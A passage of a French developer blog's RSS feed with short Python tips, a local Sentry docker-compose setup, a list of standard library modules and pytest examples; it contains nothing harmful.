<p>Puis dans le terminal utiliser <code>watch -n 60 mprof plot --output ram-profile.png</code> pour regénérer automatiquement le png toutes les 60 secondes. VSCode rafraîchira l&rsquo;image tout seul dès qu&rsquo;elle aura été modifiée.</p>
<br/>
<p><img src="/images/memory-profile.png" alt="image"></p>
<p>Ici, pas de memory leak détectée sur une mesure de 10 minutes (seulement). Bien sûr, il nécessaire de monitorer beaucoup plus longtemps car on observe quand même une très légère montée de RAM sur la &ldquo;dernière phase de consolidation&rdquo;.</p>
]]></content>
        </item>
        
        <item>
            <title>Convertir un type float en type string avec n decimals</title>
            <link>https://leandeep.com/convertir-un-type-float-en-type-string-avec-n-decimals/</link>
            <pubDate>Sat, 16 Jun 2018 21:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/convertir-un-type-float-en-type-string-avec-n-decimals/</guid>
            <description>&lt;p&gt;Petit tip très rapide qui explique comment convertir un nombre décimal de type float en type string tout en gardant n chiffres après la virgule.&lt;/p&gt;
&lt;p&gt;La conversion peut se faire directement avec les f-strings.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;price = float(1000)
print(type(price))
new_price = f&amp;#34;{price:.2f}&amp;#34;
print(new_price)
print(type(new_price))
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip très rapide qui explique comment convertir un nombre décimal de type float en type string tout en gardant n chiffres après la virgule.</p>
<p>La conversion peut se faire directement avec les f-strings.</p>
<pre tabindex="0"><code>price = float(1000)
print(type(price))
new_price = f&#34;{price:.2f}&#34;
print(new_price)
print(type(new_price))
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer un serveur Sentry en moins de 5 minutes</title>
            <link>https://leandeep.com/installer-un-serveur-sentry-en-moins-de-5-minutes/</link>
            <pubDate>Wed, 13 Jun 2018 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-un-serveur-sentry-en-moins-de-5-minutes/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment mettre en place Sentry pour vos projets. Il s&amp;rsquo;agit ici d&amp;rsquo;un Hosting simple en local via docker-compose. Je ne recommande pas cette façon de faire pour de la production. Je me sers de ce Sentry pour du développement en local.&lt;/p&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;docker-compose.yml&lt;/code&gt; avec le contenu suivant:&lt;/p&gt;
&lt;p&gt;Remplacer la chaine &lt;code&gt;!!MON_SECRET!!&lt;/code&gt; pour une chaine de 32 caractères aléatoires. Sur Mac, exécuter simplement: &lt;code&gt;python -c &amp;quot;import random; import string; chars = string.ascii_uppercase + string.digits; print(&#39;&#39;.join(random.choice(chars) for _ in range(32)))&amp;quot; | pbcopy&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment mettre en place Sentry pour vos projets. Il s&rsquo;agit ici d&rsquo;un Hosting simple en local via docker-compose. Je ne recommande pas cette façon de faire pour de la production. Je me sers de ce Sentry pour du développement en local.</p>
<p>Créer un fichier <code>docker-compose.yml</code> avec le contenu suivant:</p>
<p>Remplacer la chaine <code>!!MON_SECRET!!</code> pour une chaine de 32 caractères aléatoires. Sur Mac, exécuter simplement: <code>python -c &quot;import random; import string; chars = string.ascii_uppercase + string.digits; print(''.join(random.choice(chars) for _ in range(32)))&quot; | pbcopy</code></p>
<pre tabindex="0"><code>version: &#39;2&#39;

volumes:
   pgdb:

services:
  redis:
    image: redis

  postgres:
    image: postgres
    environment:
      POSTGRES_USER: sentry
      POSTGRES_PASSWORD: sentry
      POSTGRES_DB: sentry
    volumes:
     - pgdb:/var/lib/postgresql/data

  sentry:
    image: sentry
    links:
     - redis
     - postgres
    ports:
     - 9000:9000
    environment:
      SENTRY_SECRET_KEY: &#39;!!MON_SECRET!!&#39;
      SENTRY_POSTGRES_HOST: postgres
      SENTRY_DB_USER: sentry
      SENTRY_DB_PASSWORD: sentry
      SENTRY_REDIS_HOST: redis

  cron:
    image: sentry
    links:
     - redis
     - postgres
    command: &#34;sentry run cron&#34;
    environment:
      SENTRY_SECRET_KEY: &#39;!!MON_SECRET!!&#39;
      SENTRY_POSTGRES_HOST: postgres
      SENTRY_DB_USER: sentry
      SENTRY_DB_PASSWORD: sentry
      SENTRY_REDIS_HOST: redis

  worker:
    image: sentry
    links:
     - redis
     - postgres
    command: &#34;sentry run worker&#34;
    environment:
      SENTRY_SECRET_KEY: &#39;!!MON_SECRET!!&#39;
      SENTRY_POSTGRES_HOST: postgres
      SENTRY_DB_USER: sentry
      SENTRY_DB_PASSWORD: sentry
      SENTRY_REDIS_HOST: redis
</code></pre><p>Puis exécuter la commande <code>docker-compose up -d</code>.</p>
<p>Créer ensuite un compte admin. Pour ce faire, exécuter la commande <code>docker-compose exec sentry sentry upgrade</code></p>
<p>Restart Sentry avec <code>docker-compose restart sentry</code></p>
<p>Puis rendez-vous à l&rsquo;adresse: <a href="http://localhost:9000">http://localhost:9000</a></p>
]]></content>
        </item>
        
        <item>
            <title>Utiliser un dictionnaire pour réaliser un switch case</title>
            <link>https://leandeep.com/utiliser-un-dictionnaire-pour-r%C3%A9aliser-un-switch-case/</link>
            <pubDate>Thu, 07 Jun 2018 23:43:06 -0700</pubDate>
            
            <guid>https://leandeep.com/utiliser-un-dictionnaire-pour-r%C3%A9aliser-un-switch-case/</guid>
            <description>&lt;p&gt;Contrairement à d&amp;rsquo;autres langages de programmation, Python ne permet pas de faire des &lt;code&gt;switch&lt;/code&gt; &lt;code&gt;case&lt;/code&gt;. L&amp;rsquo;alternative naïve est de faire des &lt;code&gt;if...elif...else&lt;/code&gt;. Une autre alternative plus idiomatique est d&amp;rsquo;utiliser les fonctions comme des objets et d&amp;rsquo;utiliser des dictionnaires.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;anti-pattern-pas-bien&#34;&gt;Anti-pattern (Pas bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;def apply_operator(var_1, var_2, operator):
    if operator == &amp;#39;+&amp;#39;:
        return var_1 + var_2
    elif operator == &amp;#39;*&amp;#39;:
        return var_1 * var_2
    elif operator == &amp;#39;/&amp;#39;:
        return var_1 / var_2
    elif operator == &amp;#39;-&amp;#39;:
        return var_1 - var_2
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;bonne-pratique-bien&#34;&gt;Bonne pratique (Bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import operator as op

def apply_operator(var_1, var_2, operator):
    operator_map = {
        &amp;#39;+&amp;#39;: op.add,
        &amp;#39;*&amp;#39;: op.mul,
        &amp;#39;/&amp;#39;: op.truediv,
        &amp;#39;-&amp;#39;: op.sub,
    }
    return operator_map[operator](var_1, var_2)
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Contrairement à d&rsquo;autres langages de programmation, Python ne permet pas de faire des <code>switch</code> <code>case</code>. L&rsquo;alternative naïve est de faire des <code>if...elif...else</code>. Une autre alternative plus idiomatique est d&rsquo;utiliser les fonctions comme des objets et d&rsquo;utiliser des dictionnaires.</p>
<br/>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>def apply_operator(var_1, var_2, operator):
    if operator == &#39;+&#39;:
        return var_1 + var_2
    elif operator == &#39;*&#39;:
        return var_1 * var_2
    elif operator == &#39;/&#39;:
        return var_1 / var_2
    elif operator == &#39;-&#39;:
        return var_1 - var_2
</code></pre><br/>
<h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<pre tabindex="0"><code>import operator as op

def apply_operator(var_1, var_2, operator):
    operator_map = {
        &#39;+&#39;: op.add,
        &#39;*&#39;: op.mul,
        &#39;/&#39;: op.truediv,
        &#39;-&#39;: op.sub,
    }
    return operator_map[operator](var_1, var_2)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Utiliser l&#39;opérateur * pour représenter le reste d&#39;une liste</title>
            <link>https://leandeep.com/utiliser-lop%C3%A9rateur-pour-repr%C3%A9senter-le-reste-dune-liste/</link>
            <pubDate>Wed, 06 Jun 2018 12:20:04 -0700</pubDate>
            
            <guid>https://leandeep.com/utiliser-lop%C3%A9rateur-pour-repr%C3%A9senter-le-reste-dune-liste/</guid>
            <description>&lt;p&gt;Python 3 a introduit l&amp;rsquo;opérateur &lt;code&gt;*&lt;/code&gt; permettant d&amp;rsquo;extraire plusieurs éléments au début ou à la fin d&amp;rsquo;une liste.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;anti-pattern-pas-bien&#34;&gt;Anti-pattern (Pas bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;my_list = [&amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;, &amp;#34;toto&amp;#34;, &amp;#34;riri&amp;#34;, &amp;#34;fifi&amp;#34;, &amp;#34;loulou&amp;#34;]
(enfant_1, enfant_2, reste_enfants) = my_list[0], my_list[1], my_list[2:]
print(reste_enfants)

(enfant_1, enfants_milieu, dernier_enfant) = my_list[0], my_list[1:-1], my_list[-1]
print(enfants_milieu)

(premier_enfants, enfants_milieu, dernier_enfants) = my_list[:-2], my_list[-2], my_list[-1]
print(premier_enfants)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;bonne-pratique-bien&#34;&gt;Bonne pratique (Bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;my_list = [&amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;, &amp;#34;toto&amp;#34;, &amp;#34;riri&amp;#34;, &amp;#34;fifi&amp;#34;, &amp;#34;loulou&amp;#34;]
(enfant_1, enfant_2, *reste_enfants) = my_list
print(reste_enfants)

(enfant_1, *enfants_milieu, dernier_enfant) = my_list
print(enfants_milieu)

(*premier_enfants, enfants_milieu, dernier_enfants) = my_list
print(premier_enfants)
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Python 3 a introduit l&rsquo;opérateur <code>*</code> permettant d&rsquo;extraire plusieurs éléments au début ou à la fin d&rsquo;une liste.</p>
<br/>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>my_list = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;, &#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;]
(enfant_1, enfant_2, reste_enfants) = my_list[0], my_list[1], my_list[2:]
print(reste_enfants)

(enfant_1, enfants_milieu, dernier_enfant) = my_list[0], my_list[1:-1], my_list[-1]
print(enfants_milieu)

(premier_enfants, enfants_milieu, dernier_enfants) = my_list[:-2], my_list[-2], my_list[-1]
print(premier_enfants)
</code></pre><br/>
<h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<pre tabindex="0"><code>my_list = [&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;, &#34;riri&#34;, &#34;fifi&#34;, &#34;loulou&#34;]
(enfant_1, enfant_2, *reste_enfants) = my_list
print(reste_enfants)

(enfant_1, *enfants_milieu, dernier_enfant) = my_list
print(enfants_milieu)

(*premier_enfants, enfants_milieu, dernier_enfants) = my_list
print(premier_enfants)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Eviter les variables temporaires pour intervertir 2 variables</title>
            <link>https://leandeep.com/eviter-les-variables-temporaires-pour-intervertir-2-variables/</link>
            <pubDate>Tue, 05 Jun 2018 22:12:03 -0700</pubDate>
            
            <guid>https://leandeep.com/eviter-les-variables-temporaires-pour-intervertir-2-variables/</guid>
            <description>&lt;p&gt;En Python, il n&amp;rsquo;est pas nécessaire d&amp;rsquo;utiliser une variable temporaire pour intervertir le contenu de 2 variables.&lt;/p&gt;
&lt;h2 id=&#34;anti-pattern-pas-bien&#34;&gt;Anti-pattern (Pas bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;enfant_1 = &amp;#34;riri&amp;#34;
enfant_2 = &amp;#34;fifi&amp;#34;
temp = enfant_1
enfant_2 = enfant_1
enfant_1 = temp
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;bonne-pratique-bien&#34;&gt;Bonne pratique (Bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;enfant_1 = &amp;#34;riri&amp;#34;
enfant_2 = &amp;#34;fifi&amp;#34;
(enfant_1, enfant_2) = (enfant_2, enfant_1)
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>En Python, il n&rsquo;est pas nécessaire d&rsquo;utiliser une variable temporaire pour intervertir le contenu de 2 variables.</p>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>enfant_1 = &#34;riri&#34;
enfant_2 = &#34;fifi&#34;
temp = enfant_1
enfant_2 = enfant_1
enfant_1 = temp
</code></pre><br/>
<h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<pre tabindex="0"><code>enfant_1 = &#34;riri&#34;
enfant_2 = &#34;fifi&#34;
(enfant_1, enfant_2) = (enfant_2, enfant_1)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Eviter les variables index dans les for-loops</title>
            <link>https://leandeep.com/eviter-les-variables-index-dans-les-for-loops/</link>
            <pubDate>Mon, 04 Jun 2018 21:28:06 -0700</pubDate>
            
            <guid>https://leandeep.com/eviter-les-variables-index-dans-les-for-loops/</guid>
            <description>&lt;p&gt;Les développeurs venant des langages comme JavaScript ont l&amp;rsquo;habitude de déclarer des variables pour suivre les indexes des conteneurs (liste, générateurs, dictionnaires&amp;hellip;) dans une boucle.&lt;/p&gt;
&lt;p&gt;Par exemple en JavaScript:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;for (let i = 0; i &amp;lt; mon_conteneur.length; i++) {
    // suite du code
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;En Python, il est plus propre d&amp;rsquo;utiliser la fonction &lt;code&gt;enumerate&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;anti-pattern-pas-bien&#34;&gt;Anti-pattern (Pas bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;my_list = [&amp;#34;toto&amp;#34;, &amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;]
index = 0
for el in my_list:
    print(f&amp;#34;{index} {el}&amp;#34;)
    index += 1
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;bonne-pratique-bien&#34;&gt;Bonne pratique (Bien!)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;my_list = [&amp;#34;toto&amp;#34;, &amp;#34;titi&amp;#34;, &amp;#34;tata&amp;#34;]
for index, el in enumerate(my_list):
    print(f&amp;#34;{index} {el}&amp;#34;)
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Les développeurs venant des langages comme JavaScript ont l&rsquo;habitude de déclarer des variables pour suivre les indexes des conteneurs (liste, générateurs, dictionnaires&hellip;) dans une boucle.</p>
<p>Par exemple en JavaScript:</p>
<pre tabindex="0"><code>for (let i = 0; i &lt; mon_conteneur.length; i++) {
    // suite du code
}
</code></pre><br/>
<p>En Python, il est plus propre d&rsquo;utiliser la fonction <code>enumerate</code>.</p>
<h2 id="anti-pattern-pas-bien">Anti-pattern (Pas bien!)</h2>
<pre tabindex="0"><code>my_list = [&#34;toto&#34;, &#34;titi&#34;, &#34;tata&#34;]
index = 0
for el in my_list:
    print(f&#34;{index} {el}&#34;)
    index += 1
</code></pre><br/>
<h2 id="bonne-pratique-bien">Bonne pratique (Bien!)</h2>
<pre tabindex="0"><code>my_list = [&#34;toto&#34;, &#34;titi&#34;, &#34;tata&#34;]
for index, el in enumerate(my_list):
    print(f&#34;{index} {el}&#34;)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Modules Python populaires</title>
            <link>https://leandeep.com/modules-python-populaires/</link>
            <pubDate>Tue, 10 Apr 2018 19:58:00 +0000</pubDate>
            
            <guid>https://leandeep.com/modules-python-populaires/</guid>
            <description>&lt;p&gt;Voici une liste de modules Python populaires trouvée sur le site &lt;a href=&#34;https://pymotw.com/3/index.html&#34;&gt;https://pymotw.com/3/index.html&lt;/a&gt;. L&amp;rsquo;avantage de ce site est qu&amp;rsquo;il fournit des exemples clairs pour les utiliser.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Text&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;string: Text Constants and Templates&lt;/li&gt;
&lt;li&gt;textwrap: Formatting Text Paragraphs&lt;/li&gt;
&lt;li&gt;re: Regular Expressions&lt;/li&gt;
&lt;li&gt;difflib: Compare Sequences&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Data Structures&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;enum: Enumeration Type&lt;/li&gt;
&lt;li&gt;collections: Container Data Types&lt;/li&gt;
&lt;li&gt;array: Sequence of Fixed-type Data&lt;/li&gt;
&lt;li&gt;heapq: Heap Sort Algorithm&lt;/li&gt;
&lt;li&gt;bisect: Maintain Lists in Sorted Order&lt;/li&gt;
&lt;li&gt;queue: Thread-Safe FIFO Implementation&lt;/li&gt;
&lt;li&gt;struct: Binary Data Structures&lt;/li&gt;
&lt;li&gt;weakref: Impermanent References to Objects&lt;/li&gt;
&lt;li&gt;copy: Duplicate Objects&lt;/li&gt;
&lt;li&gt;pprint: Pretty-Print Data Structures&lt;/li&gt;
&lt;li&gt;forwardable: Delegate methods creation for composition in OOP (&lt;a href=&#34;https://pypi.org/project/forwardable/&#34;&gt;https://pypi.org/project/forwardable/&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Algorithms&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici une liste de modules Python populaires trouvée sur le site <a href="https://pymotw.com/3/index.html">https://pymotw.com/3/index.html</a>. L&rsquo;avantage de ce site est qu&rsquo;il fournit des exemples clairs pour les utiliser.</p>
<p><strong>Text</strong></p>
<ul>
<li>string: Text Constants and Templates</li>
<li>textwrap: Formatting Text Paragraphs</li>
<li>re: Regular Expressions</li>
<li>difflib: Compare Sequences</li>
</ul>
<p><strong>Data Structures</strong></p>
<ul>
<li>enum: Enumeration Type</li>
<li>collections: Container Data Types</li>
<li>array: Sequence of Fixed-type Data</li>
<li>heapq: Heap Sort Algorithm</li>
<li>bisect: Maintain Lists in Sorted Order</li>
<li>queue: Thread-Safe FIFO Implementation</li>
<li>struct: Binary Data Structures</li>
<li>weakref: Impermanent References to Objects</li>
<li>copy: Duplicate Objects</li>
<li>pprint: Pretty-Print Data Structures</li>
<li>forwardable: Delegate methods creation for composition in OOP (<a href="https://pypi.org/project/forwardable/">https://pypi.org/project/forwardable/</a>)</li>
</ul>
<p><strong>Algorithms</strong></p>
<ul>
<li>functools: Tools for Manipulating Functions</li>
<li>itertools: Iterator Functions</li>
<li>operator: Functional Interface to Built-in Operators</li>
<li>contextlib: Context Manager Utilities</li>
</ul>
<p><strong>Dates and Times</strong></p>
<ul>
<li>time: Clock Time</li>
<li>datetime: Date and Time Value Manipulation</li>
<li>calendar: Work with Dates</li>
</ul>
<p><strong>Mathematics</strong></p>
<ul>
<li>decimal: Fixed and Floating Point Math</li>
<li>fractions: Rational Numbers</li>
<li>random: Pseudorandom Number Generators</li>
<li>math: Mathematical Functions</li>
<li>statistics: Statistical Calculations</li>
</ul>
<p><strong>The File System</strong></p>
<ul>
<li>os.path: Platform-independent Manipulation of Filenames</li>
<li>pathlib: Filesystem Paths as Objects</li>
<li>glob: Filename Pattern Matching</li>
<li>fnmatch: Unix-style Glob Pattern Matching</li>
<li>linecache: Read Text Files Efficiently</li>
<li>tempfile: Temporary File System Objects</li>
<li>shutil: High-level File Operations</li>
<li>filecmp: Compare Files</li>
<li>mmap: Memory-map Files</li>
<li>codecs: String Encoding and Decoding</li>
<li>io: Text, Binary, and Raw Stream I/O Tools</li>
</ul>
<p><strong>Data Persistence and Exchange</strong></p>
<ul>
<li>pickle: Object Serialization</li>
<li>shelve: Persistent Storage of Objects</li>
<li>dbm: Unix Key-Value Databases</li>
<li>sqlite3: Embedded Relational Database</li>
<li>xml.etree.ElementTree: XML Manipulation API</li>
<li>csv: Comma-separated Value Files</li>
</ul>
<p><strong>Data Compression and Archiving</strong></p>
<ul>
<li>zlib: GNU zlib Compression</li>
<li>gzip: Read and Write GNU zip Files</li>
<li>bz2: bzip2 Compression</li>
<li>tarfile: Tar Archive Access</li>
<li>zipfile: ZIP Archive Access</li>
</ul>
<p><strong>Cryptography</strong></p>
<ul>
<li>hashlib: Cryptographic Hashing</li>
<li>hmac: Cryptographic Message Signing and Verification</li>
</ul>
<p><strong>Concurrency with Processes, Threads, and Coroutines</strong></p>
<ul>
<li>subprocess: Spawning Additional Processes</li>
<li>signal: Asynchronous System Events</li>
<li>threading: Manage Concurrent Operations Within a Process</li>
<li>multiprocessing: Manage Processes Like Threads</li>
<li>asyncio: Asynchronous I/O, event loop, and concurrency tools</li>
<li>concurrent.futures: Manage Pools of Concurrent Tasks</li>
</ul>
<p><strong>Networking</strong></p>
<ul>
<li>ipaddress: Internet Addresses</li>
<li>socket: Network Communication</li>
<li>selectors: I/O Multiplexing Abstractions</li>
<li>select: Wait for I/O Efficiently</li>
<li>socketserver: Creating Network Servers</li>
</ul>
<p><strong>The Internet</strong></p>
<ul>
<li>urllib.parse: Split URLs into Components</li>
<li>urllib.request: Network Resource Access</li>
<li>urllib.robotparser: Internet Spider Access Control</li>
<li>base64: Encode Binary Data with ASCII</li>
<li>http.server: Base Classes for Implementing Web Servers</li>
<li>http.cookies: HTTP Cookies</li>
<li>webbrowser: Displays web pages</li>
<li>uuid: Universally Unique Identifiers</li>
<li>json: JavaScript Object Notation</li>
<li>xmlrpc.client: Client Library for XML-RPC</li>
<li>xmlrpc.server: An XML-RPC server</li>
</ul>
<p><strong>Email</strong></p>
<ul>
<li>smtplib: Simple Mail Transfer Protocol Client</li>
<li>smtpd: Sample Mail Servers</li>
<li>mailbox: Manipulate Email Archives</li>
<li>imaplib: IMAP4 Client Library</li>
</ul>
<p><strong>Application Building Blocks</strong></p>
<ul>
<li>argparse: Command-Line Option and Argument Parsing</li>
<li>getopt: Command Line Option Parsing</li>
<li>readline: The GNU readline Library</li>
<li>getpass: Secure Password Prompt</li>
<li>cmd: Line-oriented Command Processors</li>
<li>shlex: Parse Shell-style Syntaxes</li>
<li>configparser: Work with Configuration Files</li>
<li>logging: Report Status, Error, and Informational Messages</li>
<li>fileinput: Command-Line Filter Framework</li>
<li>atexit: Program Shutdown Callbacks</li>
<li>sched: Timed Event Scheduler</li>
</ul>
<p><strong>Internationalization and Localization</strong></p>
<ul>
<li>gettext: Message Catalogs</li>
<li>locale: Cultural Localization API</li>
</ul>
<p><strong>Developer Tools</strong></p>
<ul>
<li>pydoc: Online Help for Modules</li>
<li>doctest: Testing Through Documentation</li>
<li>unittest: Automated Testing Framework</li>
<li>trace: Follow Program Flow</li>
<li>traceback: Exceptions and Stack Traces</li>
<li>cgitb: Detailed Traceback Reports</li>
<li>pdb: Interactive Debugger</li>
<li>profile and pstats: Performance Analysis</li>
<li>timeit: Time the execution of small bits of Python code.</li>
<li>tabnanny: Indentation validator</li>
<li>compileall: Byte-compile Source Files</li>
<li>pyclbr: Class Browser</li>
<li>venv: Create Virtual Environments</li>
<li>ensurepip: Install the Python Package Installer</li>
</ul>
<p><strong>Runtime Features</strong></p>
<ul>
<li>site: Site-wide Configuration</li>
<li>sys: System-specific Configuration</li>
<li>os: Portable access to operating system specific features</li>
<li>platform: System Version Information</li>
<li>resource: System Resource Management</li>
<li>gc: Garbage Collector</li>
<li>sysconfig: Interpreter Compile-time Configuration</li>
</ul>
<p><strong>Language Tools</strong></p>
<ul>
<li>warnings: Non-fatal Alerts</li>
<li>abc: Abstract Base Classes</li>
<li>dis: Python Bytecode Disassembler</li>
<li>inspect: Inspect Live Objects</li>
</ul>
<p><strong>Modules and Packages</strong></p>
<ul>
<li>importlib: Python’s Import Mechanism</li>
<li>pkgutil: Package Utilities</li>
<li>zipimport: Load Python Code from ZIP Archives</li>
</ul>
<p><strong>Unix-specific Services</strong></p>
<ul>
<li>pwd: Unix Password Database</li>
<li>grp: Unix Group Database</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Pytest tricks</title>
            <link>https://leandeep.com/pytest-tricks/</link>
            <pubDate>Wed, 04 Apr 2018 21:53:00 +0000</pubDate>
            
            <guid>https://leandeep.com/pytest-tricks/</guid>
            <description>&lt;h2 id=&#34;mocker-louverture-dun-fichier-et-tester-les-exceptions&#34;&gt;Mocker l&amp;rsquo;ouverture d&amp;rsquo;un fichier et tester les exceptions&lt;/h2&gt;
&lt;p&gt;Pour la fonction suivante, il est possible d&amp;rsquo;exécuter différents tests.
Les 3 exemples de tests ci-dessous montrent:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Comment vérifier qu&amp;rsquo;un appel de fonction raise une exception&lt;/li&gt;
&lt;li&gt;Comment vérifier qu&amp;rsquo;un fichier de config est valide&lt;/li&gt;
&lt;li&gt;Comment créer un fichier de config temporaire &amp;ldquo;bouchonné&amp;rdquo;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import os 
import json

class InvalidConfig(Exception):
    pass

def load_config(config_path):
  try:
      with open(config_path, &amp;#39;r&amp;#39;) as json_file:
          return json.load(json_file)
  except (OSError, IOError, json.JSONDecodeError) as exception:
      raise InvalidConfig(exception)
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;def test_missing_conf_file():
	with pytest.raises(InvalidConfig):
	    load_config(&amp;#39;does-not-exist.json&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;def test_invalid_conf_file(tmpdir):
	json_content = (
    	&amp;#39;%%%%%%%%%%\n&amp;#39;
	)
    tmp_config = tmpdir.join(&amp;#39;temp-config_file.json&amp;#39;)
    tmp_config.write_text(json_content, encoding=&amp;#39;utf-8&amp;#39;)
    with pytest.raises(InvalidConfig):
    	load_config(tmp_config.strpath)
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;def test_valid_conf_file(tmpdir):
	json_content = (
    	&amp;#39;{\n&amp;#39;
        &amp;#39;&amp;#34;hello&amp;#34;: &amp;#34;olivier&amp;#34;, \n&amp;#39;
        &amp;#39;&amp;#34;titi&amp;#34;: &amp;#34;tata&amp;#34;\n&amp;#39;
        &amp;#39;}\n&amp;#39;
	)
    tmp_config = tmpdir.join(&amp;#39;temp-config_file.json&amp;#39;)
    tmp_config.write_text(json_content, encoding=&amp;#39;utf-8&amp;#39;)
    parsed_config = load_config(tmp_config.strpath)
    assert parsed_config[&amp;#39;hello&amp;#39;] == &amp;#39;olivier&amp;#39;
    assert parsed_config[&amp;#39;titi&amp;#39;] == &amp;#39;tata&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;parametrize-tests-with-fixtures&#34;&gt;Parametrize tests with fixtures&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Option 1&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="mocker-louverture-dun-fichier-et-tester-les-exceptions">Mocker l&rsquo;ouverture d&rsquo;un fichier et tester les exceptions</h2>
<p>Pour la fonction suivante, il est possible d&rsquo;exécuter différents tests.
Les 3 exemples de tests ci-dessous montrent:</p>
<ul>
<li>Comment vérifier qu&rsquo;un appel de fonction raise une exception</li>
<li>Comment vérifier qu&rsquo;un fichier de config est valide</li>
<li>Comment créer un fichier de config temporaire &ldquo;bouchonné&rdquo;.</li>
</ul>
<pre tabindex="0"><code>import os 
import json

class InvalidConfig(Exception):
    pass

def load_config(config_path):
  try:
      with open(config_path, &#39;r&#39;) as json_file:
          return json.load(json_file)
  except (OSError, IOError, json.JSONDecodeError) as exception:
      raise InvalidConfig(exception)
</code></pre><pre tabindex="0"><code>def test_missing_conf_file():
	with pytest.raises(InvalidConfig):
	    load_config(&#39;does-not-exist.json&#39;)
</code></pre><pre tabindex="0"><code>def test_invalid_conf_file(tmpdir):
	json_content = (
    	&#39;%%%%%%%%%%\n&#39;
	)
    tmp_config = tmpdir.join(&#39;temp-config_file.json&#39;)
    tmp_config.write_text(json_content, encoding=&#39;utf-8&#39;)
    with pytest.raises(InvalidConfig):
    	load_config(tmp_config.strpath)
</code></pre><pre tabindex="0"><code>def test_valid_conf_file(tmpdir):
	json_content = (
    	&#39;{\n&#39;
        &#39;&#34;hello&#34;: &#34;olivier&#34;, \n&#39;
        &#39;&#34;titi&#34;: &#34;tata&#34;\n&#39;
        &#39;}\n&#39;
	)
    tmp_config = tmpdir.join(&#39;temp-config_file.json&#39;)
    tmp_config.write_text(json_content, encoding=&#39;utf-8&#39;)
    parsed_config = load_config(tmp_config.strpath)
    assert parsed_config[&#39;hello&#39;] == &#39;olivier&#39;
    assert parsed_config[&#39;titi&#39;] == &#39;tata&#39;
</code></pre><br/>
<h2 id="parametrize-tests-with-fixtures">Parametrize tests with fixtures</h2>
<p><strong>Option 1</strong></p>
<p>Exemple:</p>
<pre tabindex="0"><code>import pytest

